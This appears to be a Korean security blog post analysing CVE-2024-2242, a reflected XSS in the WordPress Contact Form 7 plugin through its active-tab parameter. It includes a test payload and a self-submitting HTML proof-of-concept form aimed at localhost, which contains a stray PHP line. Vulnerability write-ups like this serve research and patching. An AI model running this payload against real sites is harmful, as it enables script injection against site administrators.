[CVE-2024-2242] 취약점 분석 보고서
Contact Form 7 플러그인 5.9 이하 버전에서 발생하는 Reflected XSS
개요
Contact Form 7 플러그인 5.9 이전 버전까지 모든 버전에서 active-tab 매개변수를 통한 Reflect XSS 취약점이 발생합니다.
분석
취약점은 contact-form 편집하는 곳에서 발생합니다. 글을 편집하고 저장을 누르면 active-tab 파라미터로 값이 전달됩니다. 만약 여기에 악성 스크립트가 삽입된다면 XSS 취약점이 발생합니다.
edit_contact-form.php
편집 기능이 있는 edit_contact-form.php 코드입니다. active-tab으로 전달되는 값이 echo 뒤에 $_GET 요청으로 입력값 검증 없이 바로 처리하고 있으므로 Reflected XSS 취약점이 발생하게 됩니다.
취약점 테스트
contact form 편집에서 글을 작성하고, 저장합니다.
active-tab 값을 따로 설정하지 않으면 ‘0’으로 설정됩니다. 이 부분에 ‘”><svg/onload=prompt(7);> 페이로드를 삽입하면 input 태그가 닫히면서 뒤에 악성 스크립트가 실행됩니다.
POC
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>
<body>
<form action="http://localhost:5000/wp-admin/admin.php">
<input type="hidden" name="page" value="wpcf7" />
<input type="hidden" name="post" value="212" /> <!-- post id -->
<input type="hidden" name="cftsearch_submit" value="1" />
<input type="hidden" name="active-tab" value="'"><svg/onload=prompt(7);>{{7*7}}" /> <!-- insert attack payload into value property. HTML Entity>
<label class="screen-reader-text" for="<?php echo esc_attr( $input_id ); ?>"><?php echo $text; ?>:</label>
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
This post is licensed under CC BY 4.0 by the author.